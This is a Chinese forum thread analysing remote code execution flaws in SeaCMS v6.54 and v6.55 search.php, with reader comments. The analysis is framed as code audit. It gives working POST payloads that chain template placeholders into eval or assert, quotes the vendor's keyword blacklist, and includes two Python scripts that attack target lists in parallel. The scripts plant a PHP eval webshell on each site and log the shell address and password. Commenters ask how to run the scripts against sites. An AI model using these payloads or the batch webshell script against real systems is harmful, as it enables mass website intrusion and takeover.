用户
搜索
  • TA的每日心情
    慵懒
    13 小时前
  • 签到天数: 85 天

    连续签到: 3 天

    [LV.6]常住居民II

    i春秋作家

    i春秋十五军菜鸟团团长

    Rank: 7Rank: 7Rank: 7

    24

    主题

    84

    帖子

    660

    魔法币
    收听
    0
    粉丝
    5
    注册时间
    2018-3-1

    i春秋签约作者春秋文阁积极活跃奖春秋游侠

    F0rmat i春秋作家 i春秋十五军菜鸟团团长 i春秋签约作者 春秋文阁 积极活跃奖 春秋游侠 楼主
    发表于 2018-3-4 15:13:24 158029
    本帖最后由 F0rmat 于 2018-3-5 13:50 编辑

    前言

    这两个版本修复上次的v6.45版本中的order传值后执行的漏洞,但是在新的版本里面利用parseIf函数的功能还可以继续利用。
    因为上一篇也已经过了一遍search.php的执行过程,这篇就不再重复讲解了。
    链接:https://bbs.ichunqiu.com/thread-35085-1-1.html

    环境

    Web: phpstudy
    System: Windows 10 X64
    Browser: Firefox Quantum
    Python version : 2.7

    v6.54漏洞详情

    漏洞代码执行

    Payload

    get:http://seacms.test/search.php
    POST: searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[9]))&9[]=ph&9[]=pinfo();

    执行结果

    分析过程

    • 这个版本只是把order的变量做了限制,但是声明为global变量的不止order,为什么不用其他而用order,在上一篇已经讲过了。
      $order = RemoveXSS(stripslashes($order));
      $order = addslashes(cn_substr($order,20));
    • 我看了这次构造的POC,我也是佩服这位表哥,因为分析这些代码需要大量的时间。这次通过echoSearchPage函数里面的拼接功能,我们可以在没转换之前输出一下$content的内容,这里我推荐直接用highlight_string($content)直接输出,不用右键查看源代码了。
      大家可以先在searchword替换前输出$content,可以看到还没有开始替换。

      那我们在替换后,输出$content,可以看到已经拼接成型了。

    156行 $content = str_replace("{seacms:searchword}",$searchword,$content);
    。。。。。。。。。。
    if(intval($searchtype)==5)
    {
        $tname = !empty($tid)?getTypeNameOnCache($tid):'全部';
        $jq = !empty($jq)?$jq:'全部';
        $area = !empty($area)?$area:'全部';
        $year = !empty($year)?$year:'全部';
        $yuyan = !empty($yuyan)?$yuyan:'全部';
        $letter = !empty($letter)?$letter:'全部';
        $state = !empty($state)?$state:'全部';
        $ver = !empty($ver)?$ver:'全部';
        $money = !empty($money)?$money:'全部';
      $content = str_replace("{searchpage:type}",$tid,$content);
        $content = str_replace("{searchpage:typename}",$tname ,$content);
        $content = str_replace("{searchpage:year}",$year,$content);
        $content = str_replace("{searchpage:area}",$area,$content);
        $content = str_replace("{searchpage:letter}",$letter,$content);
        $content = str_replace("{searchpage:lang}",$yuyan,$content);
        $content = str_replace("{searchpage:jq}",$jq,$content);
        if($state=='w'){$state2="完结";}elseif($state=='l'){$state2="连载中";}else{$state2="全部";}
        if($money=='m'){$money2="免费";}elseif($money=='s'){$money2="收费";}else{$money2="全部";}
        $content = str_replace("{searchpage:state}",$state2,$content);
        $content = str_replace("{searchpage:money}",$money2,$content);
        $content = str_replace("{searchpage:ver}",$ver,$content);
        $content=$mainClassObj->parsePageList($content,"",$page,$pCount,$TotalResult,"cascade");
        $content=$mainClassObj->parseSearchItemList($content,"type");
        $content=$mainClassObj->parseSearchItemList($content,"year");
        $content=$mainClassObj->parseSearchItemList($content,"area");
        $content=$mainClassObj->parseSearchItemList($content,"letter");
        $content=$mainClassObj->parseSearchItemList($content,"lang");
        $content=$mainClassObj->parseSearchItemList($content,"jq");
        $content=$mainClassObj->parseSearchItemList($content,"state");
        $content=$mainClassObj->parseSearchItemList($content,"ver");
        $content=$mainClassObj->parseSearchItemList($content,"money");
    }.
    • 又到parseIf处理这里了,我们都可以使用highlight_string($content)var_dump($iar[1])来输出匹配前和匹配后的结果。
      匹配前:

      匹配后:

      所以又执行了我们传参进去的代码。

      构造POC

      这个是大佬给出的POC:
      searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[9]))&9[]=ph&9[]=pinfo();

    其实很简单,每个参数做了限制,传入的字符串个数不能超过20个就行了。

    9就是$_POST[9]里面的值,可以任意修改只要不超过20个字符。

    用Python编写批量Getshell脚本

    只是在上一个脚本做下修改就行了,同样支持单个和批量getshell。

    '''
    author:F0rmat
    '''
    
    import sys
    import requests
    import threading
    def exploit(target):
        if sys.argv[1]== "-f":
            target=target[0]
        url=target+"/search.php"
        payload = "fwrite(fopen('shell.php','w'),'<?php @eval($_POST[f0rmat])?>f0rmat');"
        data={
            "searchtype":"5",
            "searchword":"{if{searchpage:year}",
            "year":":e{searchpage:area}}",
            "area":"v{searchpage:letter}",
            "letter":"al{searchpage:lang}",
            "yuyan":"(join{searchpage:jq}",
            "jq":"($_P{searchpage:ver}",
            "ver":"OST[9]))",
            "9[]":payload,
        }
    
        shell = target+'/shell.php'
        try:
            requests.post(url,data=data)
            verify = requests.get(shell, timeout=3)
            if "f0rmat" in verify.content:
                print 'Write success,shell url:',shell,'pass:f0rmat'
                with open("success.txt","a+") as f:
                    f.write(shell+'  pass:f0rmat'+"\n")
            else:
                print target,'Write failure!'
        except Exception, e:
            print e
    def main():
        if len(sys.argv)<3:
            print 'python check_order.py.py -h target/-f target-file'
        else:
            if sys.argv[1] == "-h":
                exploit(sys.argv[2])
            elif sys.argv[1] == "-f":
                with open(sys.argv[2], "r") as f:
                    b = f.readlines()
                    for i in xrange(len(b)):
                        if not b[i] == "\n":
                            threading.Thread(target=exploit, args=(b[i].split(),)).start()
    
    if __name__ == '__main__':
        main()

    v6.55漏洞详情

    漏洞代码执行

    Payload

    GET:http://seacms.test/search.php
    POST: searchtype=5&searchword={if{searchpage:year}&year=:as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&&ver=[QUERY_STRING]));/*

    执行结果

    分析过程

    • 这次官方给出的修复是在parseIf函数里面加了黑名单。但是没有做SERVER变量的过滤,所以可以用SERVER变量的性质来达到写入命令。
      function parseIf($content){
              if (strpos($content,'{if:')=== false){
              return $content;
              }else{
              $labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
              $labelRule2="{elseif";
              $labelRule3="{else}";
              preg_match_all($labelRule,$content,$iar);
      foreach($iar as $v){
          $iarok[] = str_replace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_','base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_','_GET','_POST','_COOKIE','_REQUEST','_SESSION','eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v);

    构造POC

    还是利用目标的多重替换,详细步骤见SeaCMS6.54。导致最后写入assert($_SERVER[QUERY_STRING]),因为$SERVER变量默认是不检查数据的安全性的,因而当我们把命令加在url后,$_SERVER[QUERY_STRING]便可以获得我们发送的请求也就是这里传递的要执行的命令。(search.php?whami)这样就执行了assert(whoami)

    POC:searchtype=5&searchword={if{searchpage:year}&year=:as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&ver=[QUERY_STRING]));/*

    用Python编写批量Getshell脚本

    和上面差不多:

    '''
    author:F0rmat
    '''
    
    import sys
    import requests
    import threading
    def exploit(target):
        if sys.argv[1]== "-f":
            target=target[0]
        url=target+"/search.php?eval(join($_POST[9]))"
        payload = "fwrite(fopen('shell.php','w'),'<?php @eval($_POST[f0rmat])?>f0rmat');"
        data={
            "searchtype": "5",
            "9[]": payload,
            "searchword": "{if{searchpage:year}",
            "year": ":as{searchpage:area}}",
            "area": "s{searchpage:letter}",
            "letter": "ert{searchpage:lang}",
            "yuyan": "($_SE{searchpage:jq}",
            "jq": "RVER{searchpage:ver}",
            "ver": "[QUERY_STRING]));/*",
    
        }
    
        shell = target+'/shell.php'
        try:
            requests.post(url,data=data)
            verify = requests.get(shell, timeout=3)
            if "f0rmat" in verify.content:
                print 'Write success,shell url:',shell,'pass:f0rmat'
                with open("success.txt","a+") as f:
                    f.write(shell+'  pass:f0rmat'+"\n")
            else:
                print target,'Write failure!'
        except Exception, e:
            print e
    def main():
        if len(sys.argv)<3:
            print 'python check_order.py.py -h target/-f target-file'
        else:
            if sys.argv[1] == "-h":
                exploit(sys.argv[2])
            elif sys.argv[1] == "-f":
                with open(sys.argv[2], "r") as f:
                    b = f.readlines()
                    for i in xrange(len(b)):
                        if not b[i] == "\n":
                            threading.Thread(target=exploit, args=(b[i].split(),)).start()
    
    if __name__ == '__main__':
        main()

    结束

    昨天这个漏洞审计完没有写文章,因为感冒了,所以就早早睡觉了,在这变化多端的天气,表哥们也要注意身体哦。

    参考

    源码我找不到6.54和55的了,不过这些方法在低版本的程序里面也能执行成功的。
    所以这里找了一份6.53的:https://pan.lanzou.com/i0l9dsb

    python脚本:https://github.com/F0r3at/Python-Tools/tree/master/seacms

    漏洞参考文章:https://cloud.tencent.com/developer/article/1038216

    PHP官方文档:http://php.net/docs.php

    本帖被以下淘专辑推荐:

    getpass.cn
    发表于 2018-3-4 22:56:37
    感谢分享!支持!
    使用道具 举报 回复
    发表于 2018-3-4 23:29:59
    python .\v6-55.py -f .\wz.txt   小白不会用啊 老大求解  怎么运行
    使用道具 举报 回复
    发表于 2018-3-4 23:37:23
    这单个怎么用啊老大
    使用道具 举报 回复
    F0rmat i春秋作家 i春秋十五军菜鸟团团长 i春秋签约作者 春秋文阁 积极活跃奖 春秋游侠
    4#
    发表于 2018-3-5 00:21:10
    phgo 发表于 2018-3-4 23:37
    这单个怎么用啊老大

    我是用power shell运行的,是会有./的。如果正常的cmd运行,你直接python v6-55.py -f 你的网站文件或者是-h 要测试的网站
    getpass.cn
    使用道具 举报 回复
    发表于 2018-3-5 11:56:46
    python v6-55.py -h http://www.xxx.cc/
    Traceback (most recent call last):
      File "v6-55.py", line 6, in <module>
        import requests
    ImportError: No module named requests

    报错啊
    使用道具 举报 回复
    继续支持大佬的代码审计文!6.54和6.55我还没测试过,谢谢你的分享!方法都大同小异的,6.55现在的源码好像都很少了。普遍是到6.56以上了
    使用道具 举报 回复
    F0rmat i春秋作家 i春秋十五军菜鸟团团长 i春秋签约作者 春秋文阁 积极活跃奖 春秋游侠
    7#
    发表于 2018-3-5 12:22:38
    流觞曲水月 发表于 2018-3-5 11:59
    继续支持大佬的代码审计文!6.54和6.55我还没测试过,谢谢你的分享!方法都大同小异的,6.55现在的源码好像 ...

    基本没有,不过之前的修复方案代码能找到。现在最新版本6.58也是用加入黑名单的方法进行过滤。
    getpass.cn
    使用道具 举报 回复
    F0rmat 发表于 2018-3-5 12:22
    基本没有,不过之前的修复方案代码能找到。现在最新版本6.58也是用加入黑名单的方法进行过滤。 ...

    希望还是能引起像我们这种小白的知识思考吧,测试的时候发现其实这个漏洞威力很大,而大部分这样的站长都是没有相关的知识的。重视就好
    使用道具 举报 回复
    发表于 2018-3-6 22:34:41
    phgo 发表于 2018-3-5 03:56
    python v6-55.py -h http://www.xxx.cc/
    Traceback (most recent call last):
      File "v6-55.py", line 6,  ...

    你缺少模块啦
    http://nico.lolimoe.cn/blog/
    使用道具 举报 回复
    发表于 2018-3-7 00:24:35
    花时间理解下。感谢分享
    使用道具 举报 回复
    发表于 2018-5-22 08:49:49
    写入失败邪门 我下载你的源码6.53
    使用道具 举报 回复
    F0rmat i春秋作家 i春秋十五军菜鸟团团长 i春秋签约作者 春秋文阁 积极活跃奖 春秋游侠
    12#
    发表于 2018-5-22 10:43:51
    四大爷 发表于 2018-5-22 00:49
    写入失败邪门 我下载你的源码6.53

    我也是用6.53的,可能是环境原因试下python脚本能写进去吗?
    getpass.cn
    使用道具 举报 回复
    发表于 2018-5-24 09:43:34
    F0rmat 发表于 2018-5-22 10:43
    我也是用6.53的,可能是环境原因试下python脚本能写进去吗?

    写进去了,换了阿帕奇环境
    使用道具 举报 回复
    发表于 2018-6-9 01:32:19
    看看吧。。
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册